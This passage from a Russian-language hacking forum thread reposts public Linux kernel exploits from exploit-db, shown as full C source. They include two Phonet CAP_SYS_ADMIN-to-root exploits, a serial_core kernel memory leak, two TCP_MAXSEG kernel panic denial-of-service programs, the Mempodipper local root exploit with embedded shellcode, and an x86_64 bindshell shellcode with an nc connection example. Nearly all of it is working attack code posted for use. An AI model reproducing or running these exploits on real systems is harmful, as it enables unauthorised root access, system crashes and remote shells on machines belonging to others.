    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 
    _commit_creds commit_creds; 
    _prepare_kernel_cred prepare_kernel_cred; 
      
    int getroot(void) 
    { 
              
            commit_creds(prepare_kernel_cred(0)); 
            return 0;        
      
    } 
      
    int konami(void) 
    { 
      
            /* Konami code! */
            asm("inc %edx;"         /* UP */
                "inc %edx;"         /* UP */
                "dec %edx;"         /* DOWN */
                "dec %edx;"         /* DOWN */
                "shl %edx;"         /* LEFT */
                "shr %edx;"         /* RIGHT */
                "shl %edx;"         /* LEFT */
                "shr %edx;"         /* RIGHT */
                "push %ebx;"        /* B */
                "pop %ebx;"
                "push %eax;"        /* A */
                "pop %eax;"
                "mov $getroot, %ebx;"
                "call *%ebx;");     /* START */
      
            return 0; 
    } 
      
    /* thanks spender... */
    unsigned long get_kernel_sym(char *name) 
    { 
            FILE *f; 
            unsigned long addr; 
            char dummy; 
            char sname[512]; 
            struct utsname ver; 
            int ret; 
            int rep = 0; 
            int oldstyle = 0; 
      
            f = fopen("/proc/kallsyms", "r"); 
            if (f == NULL) { 
                    f = fopen("/proc/ksyms", "r"); 
                    if (f == NULL) 
                            return 0; 
                    oldstyle = 1; 
            } 
      
            while(ret != EOF) { 
                    if (!oldstyle) 
                            ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 
                    else { 
                            ret = fscanf(f, "%p %s\n", (void **)&addr, sname); 
                            if (ret == 2) { 
                                    char *p; 
                                    if (strstr(sname, "_O/") || strstr(sname, "_S.")) 
                                            continue; 
                                    p = strrchr(sname, '_'); 
                                    if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { 
                                            p = p - 4; 
                                            while (p > (char *)sname && *(p - 1) == '_') 
                                                    p--; 
                                            *p = '\0'; 
                                    } 
                            } 
                    } 
                    if (ret == 0) { 
                            fscanf(f, "%s\n", sname); 
                            continue; 
                    } 
                    if (!strcmp(name, sname)) { 
                            fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); 
                            fclose(f); 
                            return addr; 
                    } 
            } 
      
            fclose(f); 
            return 0; 
    } 
      
    int main(int argc, char * argv[]) 
    { 
      
            int sock, proto, i, offset = -1; 
            unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr; 
            void * map; 
              
            /* Create a socket to load the module for symbol support */
            printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n"); 
            sock = socket(PF_PHONET, SOCK_DGRAM, 0); 
      
            if(sock < 0) { 
                    if(errno == EPERM) 
                            printf("[*] You don't have CAP_SYS_ADMIN.\n"); 
      
                    else
                            printf("[*] Failed to open Phonet socket.\n"); 
                      
                    return -1; 
            } 
      
            /* Resolve kernel symbols */
            printf("[*] Resolving kernel symbols...\n"); 
      
            proto_tab = get_kernel_sym("proto_tab"); 
            pn_ops = get_kernel_sym("phonet_dgram_ops"); 
            pn_ioctl = get_kernel_sym("pn_socket_ioctl"); 
            commit_creds = get_kernel_sym("commit_creds"); 
            prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); 
      
            if(!proto_tab || !commit_creds || !prepare_kernel_cred || 
               !pn_ops || !pn_ioctl) { 
                    printf("[*] Failed to resolve kernel symbols.\n"); 
                    return -1; 
            } 
      
            /* Thanks bla, for reminding me how to do basic math */
            landing = 0x20000000; 
            proto = 1 << 31 | (landing - proto_tab) >> 2; 
      
            /* Map it */
            printf("[*] Preparing fake structures...\n"); 
      
            map = mmap((void *)landing, 0x10000, 
                       PROT_READ | PROT_WRITE | PROT_EXEC, 
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); 
              
            if(map == MAP_FAILED) { 
                    printf("[*] Failed to map landing area.\n"); 
                    return -1; 
            } 
              
            /* Pointer to phonet_protocol struct */
            ptr = (unsigned long *)landing; 
            ptr[0] = &ptr[1]; 
      
            /* phonet_protocol struct */
            for(i = 1; i < 4; i++) 
                    ptr = &ptr[4]; 
      
            /* proto struct */
            for(i = 4; i < 204; i++) 
                    ptr = &ptr[204]; 
      
            /* First, do a test run to calculate any offsets */
            target = 0x30000000; 
      
            /* module struct */
            for(i = 204; i < 404; i++) 
                    ptr = target; 
              
            /* Map it */
            map = mmap((void *)0x30000000, 0x2000000, 
                       PROT_READ | PROT_WRITE | PROT_EXEC, 
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); 
              
            if(map == MAP_FAILED) { 
                    printf("[*] Failed to map landing area.\n"); 
                    return -1; 
            } 
      
            printf("[*] Calculating offsets...\n"); 
      
            socket(PF_PHONET, SOCK_DGRAM, proto); 
              
            ptr = 0x30000000; 
            for(i = 0; i < 0x800000; i++) { 
                    if(ptr != 0) { 
                            offset = i * sizeof(void *); 
                            break; 
                    } 
            } 
      
            if(offset == -1) { 
                    printf("[*] Test run failed.\n"); 
                    return -1; 
            } 
      
            /* MSB of pn_ioctl */
            target = pn_ops + 10 * sizeof(void *) - 1 - offset; 
              
            /* Re-fill the module struct */
            ptr = (unsigned long *)landing; 
            for(i = 204; i < 404; i++) 
                    ptr = target; 
              
            /* Push pn_ioctl fptr into userspace */
            printf("[*] Modifying function pointer...\n"); 
      
            landing = pn_ioctl;      
            while((landing & 0xff000000) != 0x10000000) { 
                    socket(PF_PHONET, SOCK_DGRAM, proto); 
                    landing += 0x01000000; 
            } 
      
            /* Map it */
            map = mmap((void *)(landing & ~0xfff), 0x10000, 
                       PROT_READ | PROT_WRITE | PROT_EXEC, 
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); 
              
            if(map == MAP_FAILED) { 
                    printf("[*] Failed to map payload area.\n"); 
                    return -1; 
            } 
      
            /* Copy payload */
            memcpy((void *)landing, &konami, 1024); 
      
            printf("[*] Executing Konami code at ring0...\n"); 
            ioctl(sock, 0, NULL); 
      
            if(getuid()) { 
                    printf("[*] Exploit failed to get root.\n"); 
                    return -1; 
            } 
      
            printf("[*] Konami code worked!  Have a root shell.\n"); 
            execl("/bin/sh", "/bin/sh", NULL); 
      
    }
    http://www.exploit-db.com/exploits/15916/
     
    7 янв 2011
  14. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
    Код:
    /*
     * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
     * by Joe Sylve
     * @jtsylve on twitter
     *
     * Released: Jan 7, 2011
     *
     * Based on the bug found by Dan Rosenberg (@djrbliss)
     * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
     * 
     * Usage:
     * gcc -w caps-to-root2.c -o caps-to-root2
     * sudo setcap cap_sys_admin+ep caps-to-root2
     * ./caps-to-root2
     *
     * Kernel Version >= 2.6.34 (untested on earlier versions)
     *
     * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
     *
     * This exploit takes advantage of the same underflow as the original,
     * but takes a different approach.  Instead of underflowing into userspace
     * (which doesn't work on 64-bit systems and is a lot of work), I underflow 
     * to some static values inside of the kernel which are referenced as pointers
     * to userspace.  This method is pretty simple and seems to be reliable.
     */
    
    #include <stdio.h>
    #include <sys/socket.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <unistd.h>
    
    // Skeleton Structures of the Kernel Structures we're going to spoof
    struct proto_ops_skel {
    	int	family;
    	void  *buffer1[8];
    	int	(*ioctl)(void *, int, long);
    	void  *buffer2[12];
    };
    
    struct phonet_protocol_skel {
    	void	*ops;
    	void	*prot;
    	int	sock_type;	
    };
    
    
    #ifdef __x86_64__ 
    
    #define SYM_NAME "local_port_range"
    #define SYM_ADDRESS 0x0000007f00000040
    #define SYM_OFFSET 0x0
    
    typedef int (* _commit_creds)(unsigned long cred);
    typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
    
    #else //32-bit
    
    #define SYM_NAME "pn_proto"
    #define SYM_ADDRESS 0x4e4f4850
    #define SYM_OFFSET 0x90
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    
    #endif
    
    
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    int getroot(void * v, int i, long l)
    {
    	commit_creds(prepare_kernel_cred(0));
    	return 0;      
    }
    
    /* thanks spender... */
    unsigned long get_kernel_sym(char *name)
    {
    	FILE *f;
    	unsigned long addr;
    	char dummy;
    	char sname[512];
    	int ret;
    
    	char command[512];
    
    	sprintf(command, "grep \"%s\" /proc/kallsyms", name);
    
    	f = popen(command, "r");
    
    	while(ret != EOF) {
    		ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
    
    		if (ret == 0) {
    			fscanf(f, "%s\n", sname);
    			continue;
    		}
    
    		if (!strcmp(name, sname)) {
    
    			fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
    			pclose(f);
    			return addr;
    		}
    	}
    
    	pclose(f);
    	return 0;
    }
    
    int main(int argc, char * argv[])
    {
    
    	int sock, proto;
    	unsigned long proto_tab, low_kern_sym, pn_proto;
    	void * map;
    
    	/* Create a socket to load the module for symbol support */
    	printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
    	sock = socket(PF_PHONET, SOCK_DGRAM, 0);
    
    	if(sock < 0) {
    		if(errno == EPERM)
    			printf("[*] You don't have CAP_SYS_ADMIN.\n");
    
    		else
    			printf("[*] Failed to open Phonet socket.\n");
    
    		return -1;
    	}
    
    	close(sock);
    
    	/* Resolve kernel symbols */
    	printf("[*] Resolving kernel symbols...\n");
    
    	proto_tab = get_kernel_sym("proto_tab");
    	low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
    	pn_proto =  get_kernel_sym("pn_proto");
    	commit_creds = (void *) get_kernel_sym("commit_creds");
    	prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");
    
    	if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
    		printf("[*] Failed to resolve kernel symbols.\n");
    		return -1;
    	}
    
    	if (low_kern_sym >= proto_tab) {
    		printf("[*] %s is mapped higher than prototab.  Can not underflow :-(.\n", SYM_NAME);
    		return -1;
    	}
    
    
    	/* Map it */
    	printf("[*] Preparing fake structures...\n");
    
    	const struct proto_ops_skel fake_proto_ops2 = {
    			.family		= AF_PHONET,	
    			.ioctl		= &getroot,
    	};		
    
    	struct phonet_protocol_skel pps = {
    			.ops = (void *) &fake_proto_ops2,
    			.prot = (void *) pn_proto,
    			.sock_type = SOCK_DGRAM,
    	};
    
    	printf("[*] Copying Structures.\n");
    
    	map = mmap((void *) SYM_ADDRESS, 0x1000,
    			PROT_READ | PROT_WRITE | PROT_EXEC,
    			MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
    	if(map == MAP_FAILED) {
    		printf("[*] Failed to map landing area.\n");
    		perror("mmap");
    		return -1;
    	}
    
    	
    	memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));
    
    	// Calculate Underflow
    	proto = -((proto_tab - low_kern_sym) / sizeof(void *));
    
    	printf("[*] Underflowing with offset %d\n", proto);
    
    	sock = socket(PF_PHONET, SOCK_DGRAM, proto);
    
    	if(sock < 0) {
    		printf("[*] Underflow failed :-(.\n");
    		return -1;
    	} 
    
    	printf("[*] Elevating privlidges...\n");
    	ioctl(sock, 0, NULL);
    
    
    	if(getuid()) {
    		printf("[*] Exploit failed to get root.\n");
    		return -1;
    	}
    
    	printf("[*] This was a triumph... I'm making a note here, huge success.\n");
    	execl("/bin/sh", "/bin/sh", NULL);
    
    	close(sock);
    	munmap(map, 0x1000);
    
    	return 0;
    }
    
    http://www.exploit-db.com/exploits/15944/
     
    10 янв 2011
  15. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT Leak Exploit

    Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT Leak Exploit

    Код:
    /* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
     * ================================================
     * Information leak exploit for CVE-2010-4077 which
     * leaks kernel stack space back to userland due to
     * uninitialized struct member "reserved" in struct
     * serial_icounter_struct copied to userland. uses
     * ioctl to trigger memory leak, dumps to file and
     * displays to command line.
     *
     * -- prdelka
     *
     */
    #include <termios.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <linux/serial.h>
    #include <stdio.h>
    #include <stdlib.h>  
    #include <string.h>
     
    int main(int argc, char* argv[]) {
        int fd, ret = 0, i;
        struct serial_icounter_struct buffer;
        printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
        if(argc < 2){
        printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
        exit(-1);
        };
        memset(&buffer,0,sizeof(buffer));
        if((fd = open(argv[1], O_RDONLY)) == -1){
        printf("[ Couldn't open %s\n",argv[1]);
        exit(-1);
        }
        if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
        printf("[ Problem with ioctl() request\n");
        exit(-1);
        }
        close(fd);
        for(i=0;i<=9;i++){
                printf("[ int leak[%d]: %x\n",i,buffer.reserved);
        };
        if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
        printf("[ Can't open file to write memory out\n");
        exit(-1);
        }
        for(i=0;i<=9;i++){
            ret += write(fd,&buffer.reserved,sizeof(int));
        }
        close(fd);
        printf("[ Written %d leaked bytes to ./leak\n",ret);
        exit(0);
    }
    

    http://www.exploit-db.com/exploits/16973/
     
    15 мар 2011
  16. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic DoS

    Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic DoS
    Код:
    /*
     * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
     * by zx2c4
     *
     * This exploit triggers CVE-2010-4165, a divide by zero
     * error in net/ipv4/tcp.c. Because this is on the softirq
     * path, the kernel oopses and then completely dies with
     * no chance of recovery. It has been very reliable as a
     * DoS, but is not useful for triggering other bugs.
     *
     * -zx2c4, 28-2-2011
     */
     
    #include <stdio.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <net/if.h>
    #include <arpa/inet.h>
    #include <netinet/tcp.h>
     
    int main()
    {
        struct sockaddr_in laddr;
        memset(&laddr, 0, sizeof(laddr));
        laddr.sin_family = AF_INET;
        laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
        laddr.sin_port = htons(31337);
        int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (listener < 0) {
            printf("[-] Could not open listener.\n");
            return -1;
        }
        int val = 12;
        if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
            printf("[-] Could not set sockopt.\n");
            return -1;
        }
        if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
            printf("[-] Could not bind to address.\n");
            return -1;
        }
        if (listen(listener, 1) < 0) {
            printf("[-] Could not listen.\n");
            return -1;
        }
        int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (hello < 0) {
            printf("[-] Could not open connector.\n");
            return -1;
        }
        if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
            printf("[-] Could not connect to listener.\n");
            return -1;
        }
        printf("[-] Connection did not trigger oops.\n");
        return 0;
    }
    
    http://www.exploit-db.com/exploits/16952/
     
    15 мар 2011
  17. onthar
    onthar Продвинутый
    Симпатии:
    224
    Linux Kernel <= 2.6.37 Local Kernel Denial of Service

    Linux Kernel <= 2.6.37 Local Kernel Denial of Service
    Код:
    /* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)
     * =======================================================
     * A divide by 0 error occurs in tcp_select_initial_window
     * when processing user supplied TCP_MAXSEG facilitating a
     * local denial-of-service condition (kernel oops!) in all
     * Linux Kernel 2.6.x branch (2.6.37 & below). This issue
     * can be triggered easily with a call to setsockopt() on
     * a listening network socket and then establishing a TCP
     * connection to the awaiting socket.
     *
     * -- prdelka
     *
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netinet/tcp.h>
     
     
    int main() {
        int optval, optlen, ret, sd, sd2, pid;
        char *host = "localhost";  
        struct sockaddr_in locAddr;
        struct sockaddr_in servAddr;
        struct sockaddr_in dstAddr;
        printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");  
        sd = socket(AF_INET, SOCK_STREAM, 0);
        memset(&servAddr,0,sizeof(servAddr));
        memset(&dstAddr,0,sizeof(dstAddr));
            servAddr.sin_family = AF_INET;
            servAddr.sin_port = htons(60000);
            servAddr.sin_addr.s_addr = INADDR_ANY;
        dstAddr.sin_family = AF_INET;
        inet_aton("127.0.0.1", &dstAddr.sin_addr);
        dstAddr.sin_port = htons(60000);
            if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
                    printf("[ Cannot bind listener service\n");
                    exit(-1);
            }
        listen(sd,4);
        optval = 12;
        ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
        if(ret==0)
        {
            printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");
            int sin_size = sizeof(struct sockaddr_in);
            switch(pid = fork())
            {
                case 0:
                    sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
                    sleep(3);
                default:
                    sd2 = socket(AF_INET, SOCK_STREAM, 0);
                    connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
                    sleep(3);
            }
        }
        printf("[ System is patched, no dreams for this prince\n");
        return 0;
    }
    
    http://www.exploit-db.com/exploits/16263/
     
    15 мар 2011
  18. Хулиган
    Хулиган Команда форума Продвинутый
    Симпатии:
    152
    Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit​


    Код:
    Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
    Blog post about it is here: http://blog.zx2c4.com/749
    
    # Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
    # Date: Jan 21, 2012
    # Author: zx2c4
    # Tested on: Gentoo, Ubuntu
    # Platform: Linux
    # Category: Local
    # CVE-2012-0056
    
    /*
     * Mempodipper
     * by zx2c4
     * 
     * Linux Local Root Exploit
     * 
     * Rather than put my write up here, per usual, this time I've put it
     * in a rather lengthy blog post: http://blog.zx2c4.com/749
     * 
     * Enjoy.
     * 
     * - zx2c4
     * Jan 21, 2012
     * 
     * CVE-2012-0056
     */
    
    #define _LARGEFILE64_SOURCE 
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/socket.h>
    #include <sys/un.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <limits.h>
    
    char *socket_path = "/tmp/.sockpuppet";
    int send_fd(int fd)
    {
    	char buf[1];
    	struct iovec iov;
    	struct msghdr msg;
    	struct cmsghdr *cmsg;
    	struct sockaddr_un addr;
    	int n;
    	int sock;
    	char cms[CMSG_SPACE(sizeof(int))];
    	
    	if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
    		return -1;
    	memset(&addr, 0, sizeof(addr));
    	addr.sun_family = AF_UNIX;
    	strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    	if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
    		return -1;
    
    	buf[0] = 0;
    	iov.iov_base = buf;
    	iov.iov_len = 1;
    
    	memset(&msg, 0, sizeof msg);
    	msg.msg_iov = &iov;
    	msg.msg_iovlen = 1;
    	msg.msg_control = (caddr_t)cms;
    	msg.msg_controllen = CMSG_LEN(sizeof(int));
    
    	cmsg = CMSG_FIRSTHDR(&msg);
    	cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    	cmsg->cmsg_level = SOL_SOCKET;
    	cmsg->cmsg_type = SCM_RIGHTS;
    	memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
    
    	if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
    		return -1;
    	close(sock);
    	return 0;
    }
    
    int recv_fd()
    {
    	int listener;
    	int sock;
    	int n;
    	int fd;
    	char buf[1];
    	struct iovec iov;
    	struct msghdr msg;
    	struct cmsghdr *cmsg;
    	struct sockaddr_un addr;
    	char cms[CMSG_SPACE(sizeof(int))];
    
    	if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
    		return -1;
    	memset(&addr, 0, sizeof(addr));
    	addr.sun_family = AF_UNIX;
    	strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    	unlink(socket_path);
    	if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
    		return -1;
    	if (listen(listener, 1) < 0)
    		return -1;
    	if ((sock = accept(listener, NULL, NULL)) < 0)
    		return -1;
    	
    	iov.iov_base = buf;
    	iov.iov_len = 1;
    
    	memset(&msg, 0, sizeof msg);
    	msg.msg_name = 0;
    	msg.msg_namelen = 0;
    	msg.msg_iov = &iov;
    	msg.msg_iovlen = 1;
    
    	msg.msg_control = (caddr_t)cms;
    	msg.msg_controllen = sizeof cms;
    
    	if ((n = recvmsg(sock, &msg, 0)) < 0)
    		return -1;
    	if (n == 0)
    		return -1;
    	cmsg = CMSG_FIRSTHDR(&msg);
    	memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    	close(sock);
    	close(listener);
    	return fd;
    }
    
    int main(int argc, char **argv)
    {
    	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
    		char parent_mem[256];
    		sprintf(parent_mem, "/proc/%s/mem", argv[2]);
    		printf("[+] Opening parent mem %s in child.\n", parent_mem);
    		int fd = open(parent_mem, O_RDWR);
    		if (fd < 0) {
    			perror("[-] open");
    			return 1;
    		}
    		printf("[+] Sending fd %d to parent.\n", fd);
    		send_fd(fd);
    		return 0;
    	}
    	
    	printf("===============================\n");
    	printf("=          Mempodipper        =\n");
    	printf("=           by zx2c4          =\n");
    	printf("=         Jan 21, 2012        =\n");
    	printf("===============================\n\n");
    	
    	int parent_pid = getpid();
    	if (fork()) {
    		printf("[+] Waiting for transferred fd in parent.\n");
    		int fd = recv_fd();
    		printf("[+] Received fd at %d.\n", fd);
    		if (fd < 0) {
    			perror("[-] recv_fd");
    			return -1;
    		}
    		printf("[+] Assigning fd %d to stderr.\n", fd);
    		dup2(2, 6);
    		dup2(fd, 2);
    
    		unsigned long address;
    		if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
    			address = strtoul(argv[2], NULL, 16);
    		else {
    			printf("[+] Reading su for exit@plt.\n");
    			// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
    			FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
    			char result[32];
    			result[0] = 0;
    			fgets(result, 32, command);
    			pclose(command);
    			address = strtoul(result, NULL, 16);
    			if (address == ULONG_MAX || !address) {
    				printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
    				printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
    				return 1;
    			}
    			printf("[+] Resolved exit@plt to 0x%lx.\n", address);
    		}
    		printf("[+] Calculating su padding.\n");
    		FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
    		char result[256];
    		result[0] = 0;
    		fgets(result, 256, command);
    		pclose(command);
    		unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
    		unsigned long offset = address - su_padding;
    		printf("[+] Seeking to offset 0x%lx.\n", offset);
    		lseek64(fd, offset, SEEK_SET);
    		
    #if defined(__i386__)
    		// See shellcode-32.s in this package for the source.
    		char shellcode[] =
    			"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
    			"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
    			"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
    			"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
    			"\x80";
    #elif defined(__x86_64__)
    		// See shellcode-64.s in this package for the source.
    		char shellcode[] =
    			"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
    			"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
    			"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
    			"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
    			"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
    
    #else
    #error "That platform is not supported."
    #endif
    		printf("[+] Executing su with shellcode.\n");
    		execl("/bin/su", "su", shellcode, NULL);
    	} else {
    		char pid[32];
    		sprintf(pid, "%d", parent_pid);
    		printf("[+] Executing child from child fork.\n");
    		execl("/proc/self/exe", argv[0], "-c", pid, NULL);
    	}
    }
    Тема с новостью и обсуждениями: http://www.xaker.name/forvb/showthread.php?t=24803

    источник: exploit-db.com​
     
    24 янв 2012
  19. v1nest
    v1nest Выёбистый СМ ^^ Продвинутый
    Симпатии:
    49
    Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes
    Код:
    /*
    ---------------------------------------------------------------------------------------------------
    
    Linux/x86_64 - bindshell (PORT: 5600) - 81 bytes
    
    Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
    
    Om Asato Maa Sad-Gamaya |
    Tamaso Maa Jyotir-Gamaya |
    Mrtyor-Maa Amrtam Gamaya |
    Om Shaantih Shaantih Shaantih |
    
    ---------------------------------------------------------------------------------------------------
    Disassembly of section .text:
    
    0000000000400080 <.text>:
     400080:  99  cdq 
     400081:  6a 29  push  0x29
     400083:  58  pop  rax
     400084:  6a 01  push  0x1
     400086:  5e  pop  rsi
     400087:  6a 02  push  0x2
     400089:  5f  pop  rdi
     40008a:  0f 05  syscall
     40008c:  48 97  xchg  rdi,rax
     40008e:  6a 02  push  0x2
     400090:  66 c7 44 24 02 15 e0  mov  WORD PTR [rsp+0x2],0xe015
     400097:  54  push  rsp
     400098:  5e  pop  rsi
     400099:  52  push  rdx
     40009a:  6a 10  push  0x10
     40009c:  5a  pop  rdx
     40009d:  6a 31  push  0x31
     40009f:  58  pop  rax
     4000a0:  0f 05  syscall
     4000a2:  50  push  rax
     4000a3:  5e  pop  rsi
     4000a4:  6a 32  push  0x32
     4000a6:  58  pop  rax
     4000a7:  0f 05  syscall
     4000a9:  6a 2b  push  0x2b
     4000ab:  58  pop  rax
     4000ac:  0f 05  syscall
     4000ae:  48 97  xchg  rdi,rax
     4000b0:  6a 03  push  0x3
     4000b2:  5e  pop  rsi
     4000b3:  48 ff ce  dec  rsi
     4000b6:  6a 21  push  0x21
     4000b8:  58  pop  rax
     4000b9:  0f 05  syscall
     4000bb:  75 f6  jne  0x4000b3
     4000bd:  99  cdq 
     4000be:  52  push  rdx
     4000bf:  48 b9 2f 62 69 6e 2f  movabs rcx,0x68732f2f6e69622f
     4000c6:  2f 73 68
     4000c9:  51  push  rcx
     4000ca:  54  push  rsp
     4000cb:  5f  pop  rdi
     4000cc:  6a 3b  push  0x3b
     4000ce:  58  pop  rax
     4000cf:  0f 05  syscall
    
    ---------------------------------------------------------------------------------------------------
    
    How To Run
    
    $ gcc -o bind_shell bind_shell.c
    $ execstack -s sh_shell
    $ ./sh_shell
    
    How to Connect
    
    $ nc <HOST IP ADDRESS> 5600
    
    Eg:
    
    $ nc 127.0.0.1 5600
    
    ---------------------------------------------------------------------------------------------------
    */
    #include <stdio.h>
    char sh[]="\x99\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x99\x52\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x54\x5f\x6a\x3b\x58\x0f\x05";
    void main(int argc, char **argv)
    {
     int (*func)();
     func = (int (*)()) sh;
     (int)(*func)();
    }
    
    Код:
    
    
    [/SIZE]
     
    12 апр 2016
Загрузка...